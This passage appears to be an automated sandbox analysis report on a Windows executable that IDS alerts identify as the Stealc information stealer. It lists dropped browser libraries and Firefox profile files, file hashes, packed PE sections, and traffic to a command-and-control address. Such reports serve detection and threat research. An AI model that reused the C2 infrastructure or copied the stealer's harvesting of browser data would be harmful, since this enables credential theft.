Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.94507523236964
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'804'288 bytes
MD5:	e70f65be8f27c08808e881aea3f0c9c2
SHA1:	b1069d3bc8cad48b783244c6fef36f8c833bc44c
SHA256:	7f8ea1e8897f9af7a5ced22e8c6a7e07811700220ac2c3ba50375c2c4926d7e9
SHA512:	d5b3537be158bbc0c0061fc4f006ecada4ac166a004dc923567df58e00c4900165cd97073848f765279ceb00f29fea007384dcdc68e3ef381382b5304a1734c8
SSDEEP:	49152:XdUv22NoQU3muYknCReQ48Ci/2b3mCy1OvK9fpqZJF6s:NUv3NoQHt7fCi+oeCfpqzFr
TLSH:	7D8533691E1459A0CC479330A3E3D116D2ED764254EA52303F5D7BB2E8BBD3BB701A3A
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b...............u^......uk......u_......{v.....fz.......{f..............uZ......uh.....Rich............PE..L...M..f...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa85000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66C88B4D [Fri Aug 23 13:14:53 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F97250208AAh
pcmpgtd mm3, qword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
sbb al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x23f050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x23f1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x23d000	0x13c00	4ea6c0d913407eddb9ced44cfdf3197c	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x23e000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x23f000	0x1000	0x200	380655991303f284fcb90ef8e49522a1	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x240000	0x2a2000	0x200	17d0cb17e5b031825f7d3ffbacfced97	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
yfqrrzvu	0x4e2000	0x1a2000	0x1a1200	fb61b01ec00718743fe8421f3a6e75a5	False	0.9948734126835481	data	7.953093051520914	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
zneyrevn	0x684000	0x1000	0x400	da8cfd6467eacd12ed119caffac4c141	False	0.7490234375	data	5.934999407707693	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x685000	0x3000	0x2200	fca679e2339fd41f2b0672e9fdf9df97	False	0.0954733455882353	DOS executable (COM)	1.1238245962792301	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Severity	Source Port	Dest Port	Source IP	Dest IP
2024-08-28T11:51:06.704569+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49710	80	192.168.2.6	185.215.113.100
2024-08-28T11:51:04.741114+0200	TCP	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	80	49710	185.215.113.100	192.168.2.6
2024-08-28T11:51:06.219022+0200	TCP	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	49710	80	192.168.2.6	185.215.113.100
2024-08-28T11:51:13.332778+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49710	80	192.168.2.6	185.215.113.100
2024-08-28T11:51:14.785573+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49710	80	192.168.2.6	185.215.113.100
2024-08-28T11:51:04.735000+0200	TCP	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	49710	80	192.168.2.6	185.215.113.100
2024-08-28T11:51:16.490173+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49710	80	192.168.2.6	185.215.113.100
2024-08-28T11:51:04.484581+0200	TCP	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	49710	80	192.168.2.6	185.215.113.100
2024-08-28T11:51:04.979457+0200	TCP	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	49710	80	192.168.2.6	185.215.113.100
2024-08-28T11:51:04.986244+0200	TCP	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	80	49710	185.215.113.100	192.168.2.6
2024-08-28T11:51:16.911784+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49710	80	192.168.2.6	185.215.113.100
2024-08-28T11:51:14.204062+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49710	80	192.168.2.6	185.215.113.100
2024-08-28T11:51:11.901034+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49710	80	192.168.2.6	185.215.113.100

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 28, 2024 11:51:03.470949888 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:03.475810051 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:03.475883961 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:03.476445913 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:03.481205940 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:04.214076042 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:04.217387915 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:04.223992109 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:04.228931904 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:04.484276056 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:04.484580994 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:04.492201090 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:04.497030020 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:04.734940052 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:04.734951973 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:04.734999895 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:04.735028028 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:04.736385107 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:04.741113901 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:04.979331970 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:04.979343891 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:04.979355097 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:04.979384899 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:04.979397058 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:04.979406118 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:04.979415894 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:04.979456902 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:04.979515076 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:04.981455088 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:04.986243963 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:05.227334976 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:05.227422953 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:05.244020939 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:05.244075060 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:05.248929024 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:05.248956919 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:05.249011993 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:05.249037981 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:05.249111891 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:05.249120951 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:05.249128103 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:06.218839884 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:06.219022036 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:06.462655067 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:06.469567060 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:06.704463959 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:06.704473972 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:06.704494953 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:06.704511881 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:06.704521894 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:06.704569101 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:06.704617977 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:06.704893112 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:06.704921961 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:06.704931974 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:06.704941988 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:06.704976082 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:06.705343008 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:06.705358028 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:06.705369949 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:06.705379963 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:06.705393076 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:06.705425978 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:06.705909967 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:06.705920935 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:06.705930948 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:06.705955982 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:06.705975056 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:06.852467060 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:06.852478981 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:06.852494955 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:06.852560043 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:06.852592945 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:06.852607965 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:06.852632999 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:06.852633953 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:06.852643967 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:06.852694035 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:06.852694035 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:06.853028059 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:06.853038073 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:06.853046894 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:06.853069067 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:06.853089094 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:06.853260040 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:06.853302002 CEST	49710	80	192.168.2.6	185.215.113.100
